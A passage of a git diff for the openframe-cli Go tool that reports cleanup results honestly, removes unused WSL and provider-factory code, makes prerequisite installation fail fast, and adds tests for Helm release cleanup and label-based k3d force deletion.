assert.Equal(t, 1, removed, "only the release that actually uninstalled may be counted") + require.Error(t, err, "a failed uninstall must be reported, not swallowed") + assert.Contains(t, err.Error(), "openframe", "the failure must name the release that survived") +} + +// TestCleanupHelmReleases_CountsCleanRun is the control: nothing failed, so the +// count matches and no error is reported. +func TestCleanupHelmReleases_CountsCleanRun(t *testing.T) { + mock := executor.NewMockCommandExecutor() + mock.SetResponse("helm list", &executor.CommandResult{ + ExitCode: 0, + Stdout: `[{"name":"argo-cd","namespace":"argocd"},{"name":"openframe","namespace":"openframe"}]`, + Duration: time.Millisecond, + }) + service := NewClusterService(mock) + + removed, err := service.cleanupHelmReleases(context.Background(), "k3d-test", false, false) + require.NoError(t, err) + assert.Equal(t, 2, removed) +} + +// TestCleanupHelmReleases_EmptyClusterRemovesNothing: an empty cluster must +// report zero removals rather than an implied success. +func TestCleanupHelmReleases_EmptyClusterRemovesNothing(t *testing.T) { + mock := executor.NewMockCommandExecutor() + mock.SetResponse("helm list", &executor.CommandResult{ExitCode: 0, Stdout: `[]`}) + service := NewClusterService(mock) + + removed, err := service.cleanupHelmReleases(context.Background(), "k3d-test", false, false) + require.NoError(t, err) + assert.Zero(t, removed) +} diff --git a/internal/cluster/models/cleanup.go b/internal/cluster/models/cleanup.go new file mode 100644 index 00000000..eb60c079 --- /dev/null +++ b/internal/cluster/models/cleanup.go @@ -0,0 +1,41 @@ +package models + +import "fmt" + +// CleanupResult records what a cleanup run ACTUALLY did, so the summary can +// report facts instead of a fixed script. +// +// Cleanup is best-effort by design: every phase swallows its own error so that +// a half-installed or partly-unreachable cluster can still be torn down. The +// old code paired that with a summary that unconditionally printed "Removed +// unused Docker images / Freed up disk space / Optimized cluster performance", +// so a run in which every phase failed was indistinguishable from a clean one. +// Counting the work and collecting the failures is what makes the best-effort +// contract honest. +type CleanupResult struct { + ApplicationsDeleted int + FinalizersCleared int + ReleasesRemoved int + NamespacesDeleted int + NodesPruned int + + // Failures holds one human-readable line per phase that did not complete. + // A non-empty Failures with a nil error is the normal "partial cleanup" + // outcome: the command succeeds, but the user is told what was left behind. + Failures []string +} + +// AddFailure records a phase failure, prefixed with the phase name. +func (r *CleanupResult) AddFailure(phase string, err error) { + r.Failures = append(r.Failures, fmt.Sprintf("%s: %v", phase, err)) +} + +// Removed reports the total number of objects cleanup actually removed. +func (r CleanupResult) Removed() int { + return r.ApplicationsDeleted + r.FinalizersCleared + r.ReleasesRemoved + + r.NamespacesDeleted + r.NodesPruned +} + +// Partial reports whether at least one phase failed. Cleanup still succeeded +// overall; some resources may remain. +func (r CleanupResult) Partial() bool { return len(r.Failures) > 0 } diff --git a/internal/cluster/models/cluster.go b/internal/cluster/models/cluster.go index ec9b2e25..b903f857 100644 --- a/internal/cluster/models/cluster.go +++ b/internal/cluster/models/cluster.go @@ -21,13 +21,18 @@ type ClusterConfig struct { // ClusterInfo represents information about a cluster type ClusterInfo struct { - Name string `json:"name"` - Type ClusterType `json:"type"` - Status string `json:"status"` - NodeCount int `json:"node_count"` - K8sVersion string `json:"k8s_version,omitempty"` - CreatedAt time.Time `json:"created_at,omitempty"` - Nodes []NodeInfo `json:"nodes,omitempty"` + Name string `json:"name"` + Type ClusterType `json:"type"` + // Status is a human-readable server fraction ("1/1"). Machine consumers + // should prefer ReadyServers/TotalServers (verification report: a string + // fraction forces JSON consumers to parse it). + Status string `json:"status"` + ReadyServers int `json:"ready_servers"` + TotalServers int `json:"total_servers"` + NodeCount int `json:"node_count"` + K8sVersion string `json:"k8s_version,omitempty"` + CreatedAt time.Time `json:"created_at,omitempty"` + Nodes []NodeInfo `json:"nodes,omitempty"` } // NodeInfo represents information about a node in the cluster diff --git a/internal/cluster/models/errors.go b/internal/cluster/models/errors.go index 613e5ac9..6bfadfa6 100644 --- a/internal/cluster/models/errors.go +++ b/internal/cluster/models/errors.go @@ -34,15 +34,6 @@ func (e ErrInvalidClusterConfig) Error() string { return fmt.Sprintf("invalid cluster config - %s: %v (%s)", e.Field, e.Value, e.Reason) } -// ErrClusterAlreadyExists indicates a cluster with the same name already exists -type ErrClusterAlreadyExists struct { - Name string -} - -func (e ErrClusterAlreadyExists) Error() string { - return fmt.Sprintf("cluster '%s' already exists", e.Name) -} - // ErrClusterOperation indicates a general cluster operation failure type ErrClusterOperation struct { Operation string @@ -73,11 +64,6 @@ func NewInvalidConfigError(field string, value interface{}, reason string) error return ErrInvalidClusterConfig{Field: field, Value: value, Reason: reason} } -// NewClusterAlreadyExistsError creates a new cluster already exists error -func NewClusterAlreadyExistsError(name string) error { - return ErrClusterAlreadyExists{Name: name} -} - // NewClusterOperationError creates a new cluster operation error func NewClusterOperationError(operation, cluster string, cause error) error { return ErrClusterOperation{Operation: operation, Cluster: cluster, Cause: cause} diff --git a/internal/cluster/models/errors_test.go b/internal/cluster/models/errors_test.go index 6208a9e8..cefdbab4 100644 --- a/internal/cluster/models/errors_test.go +++ b/internal/cluster/models/errors_test.go @@ -91,22 +91,6 @@ func TestErrInvalidClusterConfig(t *testing.T) { }) } -func TestErrClusterAlreadyExists(t *testing.T) { - t.Run("creates error with cluster name", func(t *testing.T) { - err := NewClusterAlreadyExistsError("test-cluster") - - assert.Error(t, err) - assert.Contains(t, err.Error(), "test-cluster") - assert.Contains(t, err.Error(), "already exists") - - // Test type assertion - var alreadyExistsErr ErrClusterAlreadyExists - if errors.As(err, &alreadyExistsErr) { - assert.Equal(t, "test-cluster", alreadyExistsErr.Name) - } - }) -} - func TestErrClusterOperation(t *testing.T) { t.Run("creates error with operation, cluster name, and cause", func(t *testing.T) { originalErr := errors.New("k3d command failed") @@ -164,12 +148,6 @@ func TestErrorFormatting(t *testing.T) { assert.Contains(t, err.Error(), "must be positive") }) - t.Run("cluster already exists error format", func(t *testing.T) { - err := NewClusterAlreadyExistsError("existing-cluster") - expected := "cluster 'existing-cluster' already exists" - assert.Equal(t, expected, err.Error()) - }) - t.Run("cluster operation error format", func(t *testing.T) { cause := errors.New("underlying issue") err := NewClusterOperationError("delete", "my-cluster", cause) diff --git a/internal/cluster/models/flags.go b/internal/cluster/models/flags.go index 5394d060..0302590e 100644 --- a/internal/cluster/models/flags.go +++ b/internal/cluster/models/flags.go @@ -80,7 +80,7 @@ func AddDeleteFlags(cmd *cobra.Command, flags *DeleteFlags) { // AddCleanupFlags adds cleanup-specific flags to a command func AddCleanupFlags(cmd *cobra.Command, flags *CleanupFlags) { - cmd.Flags().BoolVarP(&flags.Force, "force", "f", false, "Enable aggressive cleanup (remove all images, volumes, networks)") + cmd.Flags().BoolVarP(&flags.Force, "force", "f", false, "Skip confirmation prompt and enable aggressive cleanup (remove all images, volumes, networks)") } // ValidateClusterName validates cluster name according to Kubernetes naming conventions diff --git a/internal/cluster/prerequisites/checker.go b/internal/cluster/prerequisites/checker.go index 166618a2..0acb3d25 100644 --- a/internal/cluster/prerequisites/checker.go +++ b/internal/cluster/prerequisites/checker.go @@ -1,8 +1,6 @@ package prerequisites import ( - "strings" - "github.com/flamingo-stack/openframe-cli/internal/cluster/prerequisites/docker" "github.com/flamingo-stack/openframe-cli/internal/cluster/prerequisites/helm" "github.com/flamingo-stack/openframe-cli/internal/cluster/prerequisites/k3d" @@ -64,21 +62,6 @@ func (pc *PrerequisiteChecker) CheckAll() (bool, []string) { return allPresent, missing } -func (pc *PrerequisiteChecker) GetInstallInstructions(missingTools []string) []string { - var instructions []string - - for _, tool := range missingTools { - for _, req := range pc.requirements { - if strings.EqualFold(req.Name, tool) { - instructions = append(instructions, req.InstallHelp()) - break - } - } - } - - return instructions -} - func CheckPrerequisites() error { // A CI environment or a non-terminal stdin must not hit an interactive prompt. return NewInstaller().CheckAndInstallNonInteractive(ui.IsNonInteractive()) diff --git a/internal/cluster/prerequisites/checker_test.go b/internal/cluster/prerequisites/checker_test.go index b6e7ce6f..527b8a41 100644 --- a/internal/cluster/prerequisites/checker_test.go +++ b/internal/cluster/prerequisites/checker_test.go @@ -125,20 +125,3 @@ func TestCheckAllWithAllTools(t *testing.T) { t.Errorf("Expected no missing tools, got %d: %v", len(missing), missing) } } - -func TestGetInstallInstructions(t *testing.T) { - checker := NewPrerequisiteChecker() - missing := []string{"Docker", "k3d"} - - instructions := checker.GetInstallInstructions(missing) - - if len(instructions) != 2 { - t.Errorf("Expected 2 instructions, got %d", len(instructions)) - } - - for _, instruction := range instructions { - if instruction == "" { - t.Error("Instruction should not be empty") - } - } -} diff --git a/internal/cluster/prerequisites/docker/docker.go b/internal/cluster/prerequisites/docker/docker.go index 14785e07..444fd153 100644 --- a/internal/cluster/prerequisites/docker/docker.go +++ b/internal/cluster/prerequisites/docker/docker.go @@ -6,11 +6,10 @@ import ( "os" "os/exec" "runtime" - "strings" "time" "github.com/flamingo-stack/openframe-cli/internal/platform" - "github.com/flamingo-stack/openframe-cli/internal/shared/wsllauncher" + "github.com/pterm/pterm" ) type DockerInstaller struct{} @@ -20,21 +19,19 @@ func commandExists(cmd string) bool { return err == nil } +// isDockerInstalled reports whether the docker CLI is present. +// +// No Windows branch: on Windows the root command forwards the whole CLI into +// WSL before any command runs, so this code only executes as a Linux process +// (see wsllauncher). The old branch probed WSL from the outside and hardcoded +// the "Ubuntu" distro, contradicting the distro-agnostic launcher. func isDockerInstalled() bool { - // On Windows, check if Docker is installed in WSL2 - if runtime.GOOS == "windows" { - return wsllauncher.CommandAvailable("docker") - } - // Just check if docker command exists, don't try to connect to daemon return commandExists("docker") } +// IsDockerRunning reports whether the docker daemon answers. See +// isDockerInstalled for why there is no Windows branch. func IsDockerRunning() bool { - // On Windows, check Docker in WSL2 directly - if runtime.GOOS == "windows" { - return isDockerRunningWSL() - } - if !commandExists("docker") { return false } @@ -46,25 +43,6 @@ func IsDockerRunning() bool { return err == nil } -// isDockerRunningWSL checks if Docker is running in WSL2 on Windows -func isDockerRunningWSL() bool { - // First check that Docker is available inside WSL (bounded by a timeout). - if !wsllauncher.CommandAvailable("docker") { - return false - } - - // Check if Docker daemon is running in WSL2 - ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) - defer cancel() - cmd := exec.CommandContext(ctx, "wsl", "-d", "Ubuntu", "bash", "-c", "sudo docker ps > /dev/null 2>&1") - return cmd.Run() == nil -} - -func IsDockerInstalledButNotRunning() bool { - // Docker command exists but daemon is not accessible - return isDockerInstalled() && !IsDockerRunning() -} - func dockerInstallHelp() string { return platform.InstallHint("docker") } @@ -99,7 +77,7 @@ func (d *DockerInstaller) installMacOS() error { return fmt.Errorf("automatic Docker installation on macOS requires Homebrew. Please install brew first: https://brew.sh") } - fmt.Println("Installing Docker Desktop via Homebrew...") + pterm.Info.Println("Installing Docker Desktop via Homebrew...") cmd := exec.Command("brew", "install", "--cask", "docker") cmd.Stdout = os.Stdout cmd.Stderr = os.Stderr @@ -108,11 +86,11 @@ func (d *DockerInstaller) installMacOS() error { return fmt.Errorf("failed to install Docker Desktop: %w", err) } - fmt.Println("Starting Docker Desktop...") + pterm.Info.Println("Starting Docker Desktop...") cmd = exec.Command("open", "-a", "Docker") if err := cmd.Run(); err != nil { - fmt.Printf("Warning: Could not start Docker Desktop automatically: %v\n", err) - fmt.Println("Please start Docker Desktop manually from Applications") + pterm.Warning.Printfln("Could not start Docker Desktop automatically: %v", err) + pterm.Info.Println("Please start Docker Desktop manually from Applications") } return nil @@ -143,7 +121,7 @@ func (d *DockerInstaller) installLinux() error { // may not be the init system, but `apk add docker` already provides the engine, // which can be started directly (see StartDocker). func (d *DockerInstaller) installAlpine() error { - fmt.Println("Installing Docker on Alpine Linux...") + pterm.Info.Println("Installing Docker on Alpine Linux...") run := func(args ...string) error { if os.Geteuid() != 0 && commandExists("sudo") { @@ -156,18 +134,18 @@ func (d *DockerInstaller) installAlpine() error { return fmt.Errorf("failed to install Docker with apk: %w", err) } if err := run("rc-update", "add", "docker", "default"); err != nil { - fmt.Printf("Warning: could not enable the docker service (rc-update): %v\n", err) + pterm.Warning.Printfln("Could not enable the docker service (rc-update): %v", err) } if err := run("rc-service", "docker", "start"); err != nil { - fmt.Printf("Warning: could not start the docker service (rc-service): %v\n", err) + pterm.Warning.Printfln("Could not start the docker service (rc-service): %v", err) } // Add the current user to the docker group (Alpine uses addgroup, not usermod). if user := os.Getenv("USER"); user != "" && user != "root" { if err := run("addgroup", user, "docker"); err != nil { - fmt.Printf("Warning: could not add user to the docker group: %v\n", err) + pterm.Warning.Printfln("Could not add user to the docker group: %v", err) } else { - fmt.Println("Note: log out and back in for Docker group permissions to take effect") + pterm.Info.Println("Log out and back in for Docker group permissions to take effect") } } @@ -175,7 +153,7 @@ func (d *DockerInstaller) installAlpine() error { } func (d *DockerInstaller) installUbuntu() error { - fmt.Println("Installing Docker on Ubuntu/Debian...") + pterm.Info.Println("Installing Docker on Ubuntu/Debian...") commands := [][]string{ {"sudo", "apt", "update"}, @@ -218,9 +196,9 @@ func (d *DockerInstaller) installUbuntu() error { user := os.Getenv("USER") if user != "" { if err := d.runCommand("sudo", "usermod", "-aG", "docker", user); err != nil { - fmt.Printf("Warning: Could not add user to docker group: %v\n", err) + pterm.Warning.Printfln("Could not add user to docker group: %v", err) } else { - fmt.Println("Note: You may need to log out and back in for Docker group permissions to take effect") + pterm.Info.Println("You may need to log out and back in for Docker group permissions to take effect") } } @@ -228,7 +206,7 @@ func (d *DockerInstaller) installUbuntu() error { } func (d *DockerInstaller) installRedHat() error { - fmt.Println("Installing Docker on CentOS/RHEL...") + pterm.Info.Println("Installing Docker on CentOS/RHEL...") commands := [][]string{ {"sudo", "yum", "install", "-y", "yum-utils"}, @@ -248,9 +226,9 @@ func (d *DockerInstaller) installRedHat() error { user := os.Getenv("USER") if user != "" { if err := d.runCommand("sudo", "usermod", "-aG", "docker", user); err != nil { - fmt.Printf("Warning: Could not add user to docker group: %v\n", err) + pterm.Warning.Printfln("Could not add user to docker group: %v", err) } else { - fmt.Println("Note: You may need to log out and back in for Docker group permissions to take effect") + pterm.Info.Println("You may need to log out and back in for Docker group permissions to take effect") } } @@ -258,7 +236,7 @@ func (d *DockerInstaller) installRedHat() error { } func (d *DockerInstaller) installFedora() error { - fmt.Println("Installing Docker on Fedora...") + pterm.Info.Println("Installing Docker on Fedora...") commands := [][]string{ {"sudo", "dnf", "install", "-y", "dnf-plugins-core"}, @@ -278,9 +256,9 @@ func (d *DockerInstaller) installFedora() error { user := os.Getenv("USER") if user != "" { if err := d.runCommand("sudo", "usermod", "-aG", "docker", user); err != nil { - fmt.Printf("Warning: Could not add user to docker group: %v\n", err) + pterm.Warning.Printfln("Could not add user to docker group: %v", err) } else { - fmt.Println("Note: You may need to log out and back in for Docker group permissions to take effect") + pterm.Info.Println("You may need to log out and back in for Docker group permissions to take effect") } } @@ -288,7 +266,7 @@ func (d *DockerInstaller) installFedora() error { } func (d *DockerInstaller) installArch() error { - fmt.Println("Installing Docker on Arch Linux...") + pterm.Info.Println("Installing Docker on Arch Linux...") commands := [][]string{ {"sudo", "pacman", "-S", "--noconfirm", "docker"}, @@ -306,9 +284,9 @@ func (d *DockerInstaller) installArch() error { user := os.Getenv("USER") if user != "" { if err := d.runCommand("sudo", "usermod", "-aG", "docker", user); err != nil { - fmt.Printf("Warning: Could not add user to docker group: %v\n", err) + pterm.Warning.Printfln("Could not add user to docker group: %v", err) } else { - fmt.Println("Note: You may need to log out and back in for Docker group permissions to take effect") + pterm.Info.Println("You may need to log out and back in for Docker group permissions to take effect") } } @@ -335,7 +313,9 @@ func StartDocker() error { case "linux": return startDockerLinux() case "windows": - return startDockerWindows() + // Unreachable in the supported flow (the CLI runs inside WSL as linux); + // the previous WSL-from-Windows starter hardcoded the Ubuntu distro. + return fmt.Errorf("starting Docker from the native Windows launcher is not supported — run openframe inside WSL") default: return fmt.Errorf("starting Docker is not supported on %s", runtime.GOOS) } @@ -392,74 +372,12 @@ func startDockerLinux() error { return fmt.Errorf("unable to start Docker daemon: no supported init system found") } -func startDockerWindows() error { - // First, try to start Docker CE in WSL2 (our preferred setup) - if err := startDockerInWSL(); err == nil { - return nil - } - - // Fallback: Try to start Docker Desktop on Windows - cmd := exec.Command("cmd", "/c", "start", "", "C:\\Program Files\\Docker\\Docker\\Docker Desktop.exe") - if err := cmd.Run(); err != nil { - // Try alternative path - cmd = exec.Command("powershell", "-Command", "Start-Process", "'Docker Desktop'") - if err := cmd.Run(); err != nil { - return fmt.Errorf("failed to start Docker (tried WSL2 Docker CE and Docker Desktop): %w", err) - } - } - return nil -} - -// startDockerInWSL starts Docker CE daemon inside WSL2 Ubuntu -func startDockerInWSL() error { - // Check if Ubuntu WSL distribution exists - cmd := exec.Command("wsl", "-d", "Ubuntu", "echo", "ok") - if err := cmd.Run(); err != nil { - return fmt.Errorf("no Ubuntu WSL distribution available: %w", err) - } - - // Start Docker daemon using the start-docker.sh script or directly - startScript := ` -if [ -x /usr/local/bin/start-docker.sh ]; then - sudo /usr/local/bin/start-docker.sh -else - if ! pgrep -x dockerd > /dev/null; then - sudo dockerd > /dev/null 2>&1 & - fi -fi - -# Wait for Docker to be ready (up to 30 seconds) -for i in $(seq 1 30); do - if sudo docker ps > /dev/null 2>&1; then - echo "docker_ready" - exit 0 - fi - sleep 1 -done -echo "docker_timeout" -exit 1 -` - - ctx, cancel := context.WithTimeout(context.Background(), 45*time.Second) - defer cancel() - - cmd = exec.CommandContext(ctx, "wsl", "-d", "Ubuntu", "-u", "root", "bash", "-c", startScript) - output, err := cmd.Output() - if err != nil { - return fmt.Errorf("failed to start Docker in WSL: %w", err) - } - - result := strings.TrimSpace(string(output)) - if result == "docker_timeout" { - return fmt.Errorf("timeout waiting for Docker to start in WSL") - } - - return nil -} - -// WaitForDocker waits for Docker daemon to become available +// WaitForDocker waits for the Docker daemon to become available. The budget is +// generous because a cold Docker Desktop start on macOS routinely exceeds the +// old 30s ceiling; the poll returns as soon as the daemon answers, so healthy +// setups pay nothing extra. func WaitForDocker() error { - maxAttempts := 30 // 30 seconds timeout + maxAttempts := 120 // seconds for i := 0; i < maxAttempts; i++ { if IsDockerRunning() { return nil diff --git a/internal/cluster/prerequisites/installer.go b/internal/cluster/prerequisites/installer.go index 2f8ad4ef..36a8dd29 100644 --- a/internal/cluster/prerequisites/installer.go +++ b/internal/cluster/prerequisites/installer.go @@ -2,7 +2,6 @@ package prerequisites import ( "fmt" - "os/exec" "runtime" "strings" @@ -25,39 +24,6 @@ func NewInstaller() *Installer { } } -func (i *Installer) InstallMissingPrerequisites() error { - allPresent, missing := i.checker.CheckAll() - if allPresent { - pterm.Success.Println("All prerequisites are already installed.") - return nil - } - - pterm.Info.Printf("Starting installation of %d tool(s): %s\n", len(missing), strings.Join(missing, ", ")) - - for idx, tool := range missing { - // Create a spinner for the installation process - sp := spinner.New() - sp.Start(fmt.Sprintf("[%d/%d] Installing %s...", idx+1, len(missing), tool)) - - if err := i.installTool(tool); err != nil { - sp.Fail(fmt.Sprintf("Failed to install %s: %v", tool, err)) - return fmt.Errorf("failed to install %s: %w", tool, err) - } - - sp.Success(fmt.Sprintf("%s installed successfully", tool)) - } - - // Verify all tools are now installed - allPresent, stillMissing := i.checker.CheckAll() - if !allPresent { - pterm.Warning.Printf("Some tools are still missing: %s\n", strings.Join(stillMissing, ", ")) - return fmt.Errorf("installation completed but some tools are still missing: %s", strings.Join(stillMissing, ", ")) - } - - pterm.Success.Println("All prerequisites installed successfully!") - return nil -} - func (i *Installer) installSpecificTools(tools []string) error { pterm.Info.Printf("Starting installation of %d tool(s): %s\n", len(tools), strings.Join(tools, ", ")) @@ -102,6 +68,16 @@ func (i *Installer) installSpecificTools(tools []string) error { return nil } +// containsTool reports whether tools contains name (case-insensitive). +func containsTool(tools []string, name string) bool { + for _, t := range tools { + if strings.EqualFold(t, name) { + return true + } + } + return false +} + func (i *Installer) installTool(tool string) error { switch strings.ToLower(tool) { case "docker": @@ -118,24 +94,6 @@ func (i *Installer) installTool(tool string) error { } } -func (i *Installer) runCommand(name string, args ...string) error { - // Handle shell commands with pipes - if strings.Contains(strings.Join(args, " "), "|") { - fullCmd := name + " " + strings.Join(args, " ") - cmd := exec.Command("bash", "-c", fullCmd) // #nosec G204 -- shell string built from constant/program-derived values, not untrusted input - // Completely silence output during installation - return cmd.Run() - } - - cmd := exec.Command(name, args...) // #nosec G204 -- explicit argv, no shell; command and args are internal, not untrusted input - // Completely silence output during installation - return cmd.Run() -} - -func (i *Installer) CheckAndInstall() error { - return i.CheckAndInstallNonInteractive(false) -} - // CheckAndInstallNonInteractive checks and installs prerequisites with optional non-interactive mode func (i *Installer) CheckAndInstallNonInteractive(nonInteractive bool) error { // PHASE 1: Check what's actually missing vs what's not running @@ -183,15 +141,20 @@ func (i *Installer) CheckAndInstallNonInteractive(nonInteractive bool) error { if confirmed { if err := i.installSpecificTools(missingTools); err != nil { - // In non-interactive mode, log error but continue - if nonInteractive { - pterm.Warning.Printf("Failed to install some prerequisites: %v\n", err) - pterm.Info.Println("Continuing anyway (non-interactive mode)...") - } else { - return err - } - } else { - pterm.Success.Println("All missing tools installed successfully!") + // Fail fast in BOTH modes. The old non-interactive path logged + // "Continuing anyway" and proceeded to a guaranteed, confusingly + // attributed k3d/helm failure minutes later — CI cannot fix + // anything "later" anyway. + return err + } + pterm.Success.Println("All missing tools installed successfully!") + + // A freshly installed Docker is not usable yet: Docker Desktop on + // macOS takes tens of seconds to start, and on Linux the daemon may + // not be running at all. Route it through the start/wait phase below + // instead of letting the very next `k3d cluster create` fail. + if containsTool(missingTools, "Docker") && !docker.IsDockerRunning() { + dockerNotRunning = true } } else { i.showManualInstructions() @@ -207,19 +170,18 @@ func (i *Installer) CheckAndInstallNonInteractive(nonInteractive bool) error { pterm.Info.Println("Attempting to start Docker automatically (non-interactive mode)...") if err := docker.StartDocker(); err != nil { - pterm.Warning.Printf("Could not start Docker automatically: %v\n", err) - pterm.Info.Println("Docker must be started manually. Continuing anyway...") - // Don't exit in non-interactive mode, let it fail later if needed - return nil + // Fail fast: "continuing anyway" only moved the failure into the + // next cluster operation with a misleading error. + i.showDockerStartInstructions() + return fmt.Errorf("the Docker daemon is not running and could not be started automatically (if it was just installed on Linux, a re-login may be needed for docker group membership): %w", err) } sp := spinner.New() sp.Start("Waiting for Docker to start...") if err := docker.WaitForDocker(); err != nil { - sp.Warning("Docker failed to start automatically") - pterm.Info.Println("Please ensure Docker is running before cluster operations.") - // Don't exit in non-interactive mode - return nil + sp.Fail("Docker failed to start") + i.showDockerStartInstructions() + return fmt.Errorf("timed out waiting for Docker to start (if it was just installed on Linux, a re-login may be needed for docker group membership): %w", err) } sp.Success("Docker started successfully") } else { diff --git a/internal/cluster/prerequisites/installer_test.go b/internal/cluster/prerequisites/installer_test.go index 46fd393c..2297143d 100644 --- a/internal/cluster/prerequisites/installer_test.go +++ b/internal/cluster/prerequisites/installer_test.go @@ -53,16 +53,6 @@ func TestInstallTool(t *testing.T) { } } -func TestRunCommand(t *testing.T) { - installer := NewInstaller() - - // Test simple command that should work on all systems - err := installer.runCommand("echo", "test") - if err != nil { - t.Errorf("Expected echo command to succeed, got error: %v", err) - } -} - // Helper function to check if a string contains a substring func containsSubstring(str, substr string) bool { return len(str) >= len(substr) && @@ -75,3 +65,15 @@ func containsSubstring(str, substr string) bool { return false }() } + +// TestContainsTool covers the case-insensitive membership check used to detect +// a freshly installed Docker that still needs the start/wait phase (B3). +func TestContainsTool(t *testing.T) { + tools := []string{"Docker", "k3d"} + if !containsTool(tools, "docker") || !containsTool(tools, "Docker") { + t.Error("containsTool must match case-insensitively") + } + if containsTool(tools, "helm") || containsTool(nil, "docker") { + t.Error("containsTool must not match absent tools") + } +} diff --git a/internal/cluster/provider/provider.go b/internal/cluster/provider/provider.go index fa1b167f..6b5887e5 100644 --- a/internal/cluster/provider/provider.go +++ b/internal/cluster/provider/provider.go @@ -8,24 +8,12 @@ package provider import ( "context" - "fmt" "github.com/flamingo-stack/openframe-cli/internal/cluster/models" "github.com/flamingo-stack/openframe-cli/internal/cluster/providers/k3d" - "github.com/flamingo-stack/openframe-cli/internal/shared/executor" "k8s.io/client-go/rest" ) -// Target is where a cluster runs. -type Target string - -const ( - // TargetLocal is a cluster on the local machine (e.g. k3d). - TargetLocal Target = "local" - // TargetCloud is a managed cluster in a cloud provider (e.g. GKE/EKS). Not yet implemented. - TargetCloud Target = "cloud" -) - // Provider is the unified contract every cluster backend implements. The k3d // manager satisfies it today (see the compile-time assertion below); GKE/EKS // will implement the same interface when added. @@ -51,23 +39,11 @@ type Provider interface { } // Compile-time assertion that the k3d manager satisfies Provider. -var _ Provider = (*k3d.K3dManager)(nil) - -// New returns the Provider for the given cluster type and target. // -// Only (k3d, local) is implemented. Cloud providers return a clear "coming -// soon" error so callers can surface a friendly message instead of failing -// obscurely. This is the single seam through which new providers are added. -func New(clusterType models.ClusterType, target Target, exec executor.CommandExecutor, verbose bool) (Provider, error) { - switch clusterType { - case models.ClusterTypeK3d: - if target != TargetLocal { - return nil, fmt.Errorf("the k3d provider only supports the local target, not %q", target) - } - return k3d.NewK3dManager(exec, verbose), nil - case models.ClusterTypeGKE, models.ClusterTypeEKS: - return nil, fmt.Errorf("the %s cluster provider is not implemented yet — coming soon", clusterType) - default: - return nil, fmt.Errorf("unknown cluster provider %q", clusterType) - } -} +// NOTE: there is deliberately NO factory here. The old New(clusterType, +// target, ...) "single seam" was never called from production — every +// constructor hard-coded the k3d manager, so the factory was decorative +// (audit B7). The interface itself is the real seam: it is what +// ClusterService depends on and what tests mock. When a second backend +// (GKE/EKS) actually lands, reintroduce a factory alongside its first caller. +var _ Provider = (*k3d.K3dManager)(nil) diff --git a/internal/cluster/provider/provider_test.go b/internal/cluster/provider/provider_test.go deleted file mode 100644 index cad61c83..00000000 --- a/internal/cluster/provider/provider_test.go +++ /dev/null @@ -1,36 +0,0 @@ -package provider - -import ( - "testing" - - "github.com/flamingo-stack/openframe-cli/internal/cluster/models" - "github.com/flamingo-stack/openframe-cli/internal/shared/executor" - "github.com/stretchr/testify/assert" - "github.com/stretchr/testify/require" -) - -func TestNew_K3dLocal(t *testing.T) { - p, err := New(models.ClusterTypeK3d, TargetLocal, executor.NewMockCommandExecutor(), false) - require.NoError(t, err) - assert.NotNil(t, p, "k3d/local must return a Provider") -} - -func TestNew_K3dRejectsCloudTarget(t *testing.T) { - _, err := New(models.ClusterTypeK3d, TargetCloud, executor.NewMockCommandExecutor(), false) - require.Error(t, err) - assert.Contains(t, err.Error(), "local target") -} - -func TestNew_CloudProvidersComingSoon(t *testing.T) { - for _, ct := range []models.ClusterType{models.ClusterTypeGKE, models.ClusterTypeEKS} { - _, err := New(ct, TargetCloud, executor.NewMockCommandExecutor(), false) - require.Errorf(t, err, "%s should not be implemented yet", ct) - assert.Containsf(t, err.Error(), "coming soon", "%s should return a friendly not-implemented message", ct) - } -} - -func TestNew_UnknownProvider(t *testing.T) { - _, err := New(models.ClusterType("bogus"), TargetLocal, executor.NewMockCommandExecutor(), false) - require.Error(t, err) - assert.Contains(t, err.Error(), "unknown cluster provider") -} diff --git a/internal/cluster/providers/k3d/forcedelete_test.go b/internal/cluster/providers/k3d/forcedelete_test.go new file mode 100644 index 00000000..b258e858 --- /dev/null +++ b/internal/cluster/providers/k3d/forcedelete_test.go @@ -0,0 +1,83 @@ +//go:build !windows + +package k3d + +import ( + "context" + "strings" + "testing" + "time" + + "github.com/flamingo-stack/openframe-cli/internal/cluster/models" + "github.com/flamingo-stack/openframe-cli/internal/shared/executor" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// TestForceDelete_FallbackSelectsByClusterLabel is the T0-2 regression guard: +// when `k3d cluster delete` fails and --force falls back to direct Docker +// cleanup, containers must be selected by the exact-match k3d.cluster label. +// A `name=k3d-` filter is an unanchored regex — force-deleting cluster +// "dev" would also remove the containers of "dev-2", "dev-old", etc. +func TestForceDelete_FallbackSelectsByClusterLabel(t *testing.T) { + mock := executor.NewMockCommandExecutor() + // k3d delete fails -> triggers the force fallback. + mock.SetResponse("cluster delete", &executor.CommandResult{ + ExitCode: 1, + Stderr: "simulated k3d failure", + Duration: time.Millisecond, + }) + mock.SetResponse("docker ps", &executor.CommandResult{ + ExitCode: 0, + Stdout: "id1\nid2\n", + Duration: time.Millisecond, + }) + manager := NewK3dManager(mock, false) + + err := manager.DeleteCluster(context.Background(), "dev", models.ClusterTypeK3d, true) + require.NoError(t, err, "force delete must succeed via the Docker fallback") + + var sawPs bool + var removed []string + for _, rc := range mock.Commands() { + if rc.Name != "docker" || len(rc.Args) == 0 { + continue + } + switch rc.Args[0] { + case "ps": + sawPs = true + assert.Truef(t, hasArgPair(rc.Args, "--filter", "label=k3d.cluster=dev"), + "container selection must use the exact-match cluster label, got: %v", rc.Args) + for _, a := range rc.Args { + assert.NotContainsf(t, a, "name=", "must not select containers by name regex: %v", rc.Args) + } + case "rm": + removed = append(removed, rc.Args[len(rc.Args)-1]) + } + } + assert.True(t, sawPs, "fallback must list containers") + assert.Equal(t, []string{"id1", "id2"}, removed, "exactly the listed containers are removed") +} + +// TestForceDelete_FallbackFailurePropagates: when both k3d delete and the +// Docker fallback fail, the caller gets an error (not a silent success). +func TestForceDelete_FallbackFailurePropagates(t *testing.T) { + mock := executor.NewMockCommandExecutor() + mock.SetResponse("cluster delete", &executor.CommandResult{ExitCode: 1, Duration: time.Millisecond}) + mock.SetResponse("docker ps", &executor.CommandResult{ExitCode: 1, Duration: time.Millisecond}) + manager := NewK3dManager(mock, false) + + err := manager.DeleteCluster(context.Background(), "dev", models.ClusterTypeK3d, true) + require.Error(t, err) + assert.True(t, strings.Contains(err.Error(), "dev")) +} + +// hasArgPair reports whether argv contains flag immediately followed by value. +func hasArgPair(argv []string, flag, value string) bool { + for i := 0; 